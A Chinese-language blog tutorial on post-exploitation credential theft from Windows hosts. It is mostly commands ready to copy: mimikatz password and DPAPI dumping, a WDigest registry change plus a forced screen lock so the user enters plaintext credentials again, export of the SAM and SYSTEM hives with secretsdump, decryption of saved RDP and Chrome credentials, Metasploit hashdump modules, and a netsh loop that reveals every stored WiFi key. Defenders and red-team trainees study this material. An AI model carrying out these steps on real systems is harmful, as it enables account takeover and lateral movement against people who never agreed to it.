Windows下密码获取(leaning)


mimikatz简单使用

mimikatz获取Windows账号明文密码

mimikatz是法国的安全研究员开发的针对Windows各种环境下密码读取工具同时具有zerologon、约束委派攻击的作用,此本文主要讲mimikatz密码读取简单利用,不展开对漏洞利用、免杀作出详解。

mimikatz直接使用 sekurlsa::logonPasswords命令可获取低版本操作系统的明文密码,在高版本的操作系统无法直接获取明文密码

img

因此需要修改注册表让Wdigest Auth保存明文口令:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

img

成功修改注册表后需要想办法让被控机再输一遍口令,关机重启或者使用以下命令、powshell脚本强制将目标机器锁屏

命令:rundll32.exe user32.dll,LockWorkStation

powershell:

Function Lock-WorkStation {

$signature = @” [DllImport(“user32.dll”, SetLastError = true)] public static extern bool LockWorkStation(); “@

$LockWorkStation = Add-Type -memberDefinition $signature -name “Win32LockWorkStation” -namespace Win32Functions -passthru

$LockWorkStation::LockWorkStation() | Out-Null

}

Lock-WorkStation

在目标重新输入口令后在使用mimikatz获取一次密码

img

可以看到成功获取到目标的明文密码

mimikatz获取其他密码

1、获取vpn密码

token::elevate lsadump::sam lsadump::secrets exit vpn

2、获取IIS7配置文件密码

log “iis::apphost /in:”%systemroot%\system32\inetsrv\config\applicationHost.config” /live”

3、获取浏览器的密码和cookie信息

mimikatz.exe privilege::debug log “dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect” exit

mimikatz.exe privilege::debug log “dpapi::chrome /in:%localappdata%\google\chrome\USERDA1\default\USERDA1” exit

SAM利用

sam导出

SAM(安全账户管理器),SAM存放在注册表中,SAM用来存储Windows操作系统密码的数据库文件,为了避免明文密码泄露,SAM文件中保存的是明文密码经过一系列算法处理过的Hash值,被保存的Hash分为LM Hash(已废弃)和NTLMHash(长度32bit由字母数字组成),现在用户凭证是以NTLM HASH形式保存。在用户在本地或者远程登陆系统时,会将Hash值与SAM文件中保存的Hash值进行对比。在后期的Windows系统中,SAM文件中被保存的密码Hash都被密钥SYSKEY加密,接下来将对sam进行利用。

通过reg命令将sam、securit、system导出

reg save hklm\sam C:\sam.save

reg save hklm\security C:\security.save

reg save hklm\system C:\system.save

img

mimikatz读取hash

使用mimikataz输入以下命令

lsadump::sam /system:system.save /sam:sam.save /security:security.save

img

可以看到成功获取到用户的hash,但没有明文密码信息,因此可以尝试还有impaket工具中的secretsdump.py,输入以下命令

secretsdumps读取明文密码

secretsdumps.py -sam sam.save -security security.save -system system.save LOCAL

img

可以看到成功获取到部分明文密码

获取本地保存的远程RDP明文密码

假设当前存在一个拥有administrator权限的webshell,我们可以查看注册表找出与本地(受控服务器)连接过的机器。命令如下

reg query “HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers” /s

img

可以看到这里有一个与10.x.x.50有过rdp协议通信的机器,使用cmdkey /list命令可查看详情,使用以下命令可查阅本地是否保留rdp的密码

dir /a %userprofile%\AppData\Local\Microsoft\Credentials*

img

确定目标保留了rdp密码

根据上面的hash,使用mimikatz以下命令去找对应的masterkey的guid

mimikatz # privilege::debug

mimikatz # dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\71BC3C1A7DBB4ABCFAD1156FF7FC6D83

img

再使用mimikatz的DPAPI模块对应上面找到的guid找masterkey

img

最后借助masterkey使用以下命令解密rdp密码

mimikatz # dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials(文件hash) /masterkey:(这里写masterkey)

img

至此成功获取到10.xx.xx.50的密码

msf获取hash与密码

1、获取自动登录用户的密码

run windows/gather/credentials/windows_autologin

部分用户习惯设置成自动登录,可使用上述命令获取自动登录用户的密码

2、获取hash

run post/windows/gather/smart_hashdump

img

img

可以看到sandbox的密码是55555

获取系统保存过的WIFI密码

使用netsh wlan show profiles命令获取连接过的WiFi名

img

确定WiFi,以上述Mi未列输入命令netsh wlan show profile name=”Mi” key=clear

img

可以看到成功获取到明文密码,也可以使用以下批处理脚本将所有WiFi遍历显示

for /f “skip=9 tokens=1,2 delims=:” %i in (‘netsh wlan show profiles’) do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear

参考链接

https://forum.butian.net/share/956

https://forum.butian.net/share/259

https://blog.csdn.net/lhh134/article/details/104475654


文章作者: jokerscar
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 jokerscar !
  目录